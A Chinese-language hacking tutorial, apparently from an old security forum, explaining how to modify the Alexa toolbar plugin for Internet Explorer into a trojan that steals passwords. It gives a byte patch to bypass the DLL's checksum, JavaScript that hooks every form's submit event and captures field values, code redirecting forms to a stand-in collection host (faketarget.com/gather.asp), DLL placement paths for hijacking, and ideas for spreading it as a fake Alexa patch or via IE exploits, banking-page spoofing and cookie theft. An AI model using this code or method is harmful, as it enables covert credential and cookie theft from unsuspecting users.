移花接木  将Alexa工具条改装成间谍木马

Alexa是个发布全球网站WebSite排名信息网站WebSite网址是http://www.alexa.comAlexa通过在客户端安装Alexa工具条来收集采样全球网站WebSite访问数据以这些数据为依据对全球网站WebSite进行排名类似于电视收视率统计Alexa工具条是种类似于Google工具条IE插件你可以在下面URL中下
载:http://download.alexa.com/index.cgi

  、Alexa工具条工作原理

  Alexa工具条是种基于BHO和Toolbar Bands技术种IE插件它以DLL文件形式存在于系统中种COM组件IE会在运行时将其加载到自身进程中去所以般情况下防火墙是无法禁止该软件Software访问网络这就为他木马角色提供了先天便利而且比本机Snf软件Software收集密码优势是:无论是HTTP还是HTTPS网站WebSite不管通信通道是否加密只要是IE页面表单都能收集到具体原理可以查阅有关Alexa排名作弊些解惑

  系统在安装了Alexa工具条后会在系统目录下生成AlxTB1.dll和AlxRes.dll两个DLL文件(有些情况下是AlxTB2.dll而不是AlxTB1.dll那是Alexa工具条会自动上网更新原因)Alexa工具条主要 2进制代码存在于AlxTB1.dll文件中这个文件同时也被注册成多个COM组件他完成了BHO和Toolbar BandsCOM接口并将IEWebBrowserControl控件封装为个COM组件供AlxRes.dllAlxRes.dll文件仅包含少量 2进制代码大量代码是HTML和javascript代码他们以资源形式存在于AlxRes.dll文件中你可以通过res://AlxRes.dll/CHTML/about.html这样URL来访问这些资源也许你会奇怪:又不是做网站WebSite为什么软件Software代码会是javascript写?这就是Alexa工具条垃圾地方Alexa工具条主界面是由HTML+javascript实现这些javascript代码通过AlxTB1.dll实现COM接口来实现软件Software全部功能这样做不仅导致软件Software效率低下而且产生大量资源泄漏绝对是种VERY超级SB开发模式但是却为我们修改Alexa工具条功能提供了方便——根本不需要CRACKER知识只要个PE资源修改工具就可以对Alexa工具条代码进行修改了
2、破解Alexa工具条

  当然Alexa也不是真傻绝对不会蠢到让自己代码被你用资源修改工具随便改为了防止AlxRes.dll中资源被随意修改他采取了计算文件校验和保护思路方法要是发现文件被修改就会拒绝加载我们在修改代码前必须破解这种保护机制

  AlxTB1.dll导出个名叫ChecksumResources这个就是用来计算文件校验和用c32asm反汇编AlxRes.dll文件查看列表找到"ChecksumResources"跳转到代码于100017C0处往下翻几行在100017F6处找到句跳转采用爆破方式用NOP指令覆盖JNZ指令即可通俗点讲:就是将AlxRes.dll文件偏移"0x17F6"处两个字节"75 11"改成"90 90"你可以使用WinHex的类16进制编辑软件Software来修改

::100017C0:: 68 9C700010 PUSH 1000709C \:BYJMP JmpBy:100017A4,100017B1, \->: ChecksumResources
::100017C5:: 57 PUSH EDI
::100017C6:: FF15 1C500010 CALL [1000501C] >>>: KERNEL32.DLL:GetProcAddress
::100017CC:: 85C0 TEST EAX, EAX
::100017CE:: 74 0E JE SHORT 100017DE \:JMPDOWN
::100017D0:: 8D4D DC LEA ECX, [EBP-24]
::100017D3:: 51 PUSH ECX
::100017D4:: FF35 44740010 PUSH DWORD PTR [10007444]
::100017DA:: FFD0 CALL EAX
::100017DC:: 59 POP ECX
::100017DD:: 59 POP ECX
::100017DE:: 57 PUSH EDI \:BYJMP JmpBy:100017CE,
::100017DF:: FF15 18500010 CALL [10005018] >>>: KERNEL32.DLL:FreeLibrary
::100017E5:: 8D45 B8 LEA EAX, [EBP-48]
::100017E8:: 50 PUSH EAX
::100017E9:: 8D45 DC LEA EAX, [EBP-24]
::100017EC:: 50 PUSH EAX
::100017ED:: E8 AE060000 CALL 10001EA0 \:JMPDOWN
::100017F2:: 59 POP ECX
::100017F3:: 85C0 TEST EAX, EAX
::100017F5:: 59 POP ECX
::100017F6:: 75 11 JNZ SHORT 10001809 \:JMPDOWN ;就是修改这里 

  现在我们可以毫无顾忌修改AlxRes.dll中资源了

3、修改Alexa工具条代码

  熟悉IE编程人都知道DWebBrowserEvents2接口是用来接收WebBrowser事件通知我们可以在AlxRes.dlljavascript代码中找到这些些对应在res://AlxRes.dll/SCRIPT/EVT.CLASS.JS代码中系列javascript对应于DWebBrowserEvents2接口成员如:DocumentComplete->BP_onDocumentCompleteNavigateComplete2->BP_onNavigateCompleteBeforeNavigate2->BP_onBeforeNavigate按照DWebBrowserEvents2接口我们可以在BeforeNavigate2中截获PostData但是在AlxRes.dll代码中这个接口没有完全实现在DWebBrowserEvents2接口中原型是:

void BeforeNavigate2(IDispatch *pDisp,
 VARIANT *&url,
 VARIANT *&Flags,
 VARIANT *&TargetFrameName,
 VARIANT *&PostData,
 VARIANT *&Headers,
 VARIANT_BOOL *&Cancel
); 

  这其中PostData包含了Post数据而BP_onBeforeNavigate原型:

function BP_onBeforeNavigate(oParentWebBrowser2, oWebBrowser2, sURL, bPostData, sHeaders); 

  其中,bPostData只是个BOOL类型变量此路不通必须另想办法

  般来说我们在IE中输入用户名密码都是通过表单提交到服务器如果能在表单提交前截获表单内容就可以实现窃取密码了在javascript中只要处理表单"OnSubmit"事件就可以先于提交而处理表单内容而AlxRes.dll功能也是由javascript实现所以我们就无需面对繁琐COM接口而直接使用javascript了

  这里我推荐使用Resource Hacker来修改AlexRes.dll中资源个人感觉比eXeScope用起来爽多了

   4、截获网页表单内容

  我现在使用思路方法有些类似于"跨站点脚本执行漏洞"先来看看"res://AlxRes.dll/SCRIPT/EVT.CLASS.JS"中"BP_onDocumentComplete":

function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL); 

  该在IE当前浏览页面被加载完成时被其中 oWebBrowser2 参数可以当作当前IE正在浏览页面window对象如果你懂得javascript接下来要做事情就十分简单了添加如下代码:

function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {
... ...
try{
 for(i=0;i<oWebBrowser2.document.forms.length;i)
 {
  oWebBrowser2.document.forms[i].onsubmit=test;
 }
 }catch(e){}
   false;


  这段代码作用就是枚举当前页面中所有表单对象并为这些表单定义OnSubmit事件接下来就是完成test了:

function test
{
 try{
  window.alert("I can get the value!");
  for(i=0;i<this.length;i)
  {
   (this.elements[i].name!="")
   {
    window.alert(this.elements[i].name+":"+this.elements[i].value);
    //do some thing
   }
  }
 }catch(e){}
  true;


  不过用这种思路方法存在点弊端:当表单是通过javascript语句"Submit"提交时不会产生"OnSubmit"事件上面代码也就无法纪录下表单内容了可以采用改变表单提交地址思路方法来解决这个问题:

function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {
 ... ...
 try{
  for(i=0;i<oWebBrowser2.document.forms.length;i)
  {
   oWebBrowser2.document.forms[i].innerHTML=oWebBrowser2.document.forms[i].innerHTML+"<input name=OriginalAction type=hidden value=’"+oWebBrowser2.document.forms[i].action+"’>";
   oWebBrowser2.document.forms[i].action="http://www.faketarget.com/gather.asp";
  }
 }catch(e){}
  false;


  以上代码对于某些页面存在问题有时会无法将隐藏字段添加到表单中去

5、散布和植入木马

  以上代码均是用PE资源软件Software修改AlxRes.dll文件实现所以只要用新AlxRes.dll文件将原来系统AlxRes.dll替换掉Alexa工具条在加载时候会优先在"C:\Program Files\Internet Explorer"和"C:\Documents and Settings\[username]\桌面"这两个路径下搜索AlxRes.dll所以也可以把修改过AlxRes.dll放到这两个路径下这样就不用覆盖源文件了至于如何安装那可是有大堆IE漏洞等着你去Exploit呢这可不是本文涉及范围

  安装了Alexa工具条IE"User-Agent"会加入"Alexa Toolbar"标记所以很容易区分目标IE是否已经安装了Alexa工具条:

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toobar) 

  也可以修改Alexa安装文件或者以Alexa补丁名义来发布这个就扯远了

   6、收集密码

  你可以用FileObjectControl控件来将表单内容纪录到文件或者直接作为参数发送到某个Web服务器由web服务器收集纪录下来即可为了在客户端过滤些不包含密码表单最好在AlxRes.dll代码中对收集表单数据进行些检查:

function test
{
 var IsPwdForm=false;
 var FormStr;
 try{
  for(i=0;i<this.length;i)
  {
   (this.elements[i].name!="")
   {
    (this.elements[i].type"password")
     IsPwdForm=true;
    FormStr=FormStr+this.elements[i].name+"="+this.elements[i].value+"&";
   }
  }
  (IsPwdForm)
  {
   //表单包含密码文本进行收集
  }
 }catch(e){}
  true;


   7、其他应用

  大多数网上银行登陆界面是由ActiveXControl控件实现无法截获表单数据但是我们可以通过"oWebBrowser2"对象来操纵、修改浏览页面当然也可以伪造个网上银行登陆界面还可以用来收集用户浏览网页纪录也可以用来窃取用户COOKIE等


 



  • 篇文章: 对DIY EXE2BAT点补充

  • 篇文章: 看我谋取特权 用漏洞提升计算机控制权限
  • Tags: 

    延伸阅读

    最新评论

    发表评论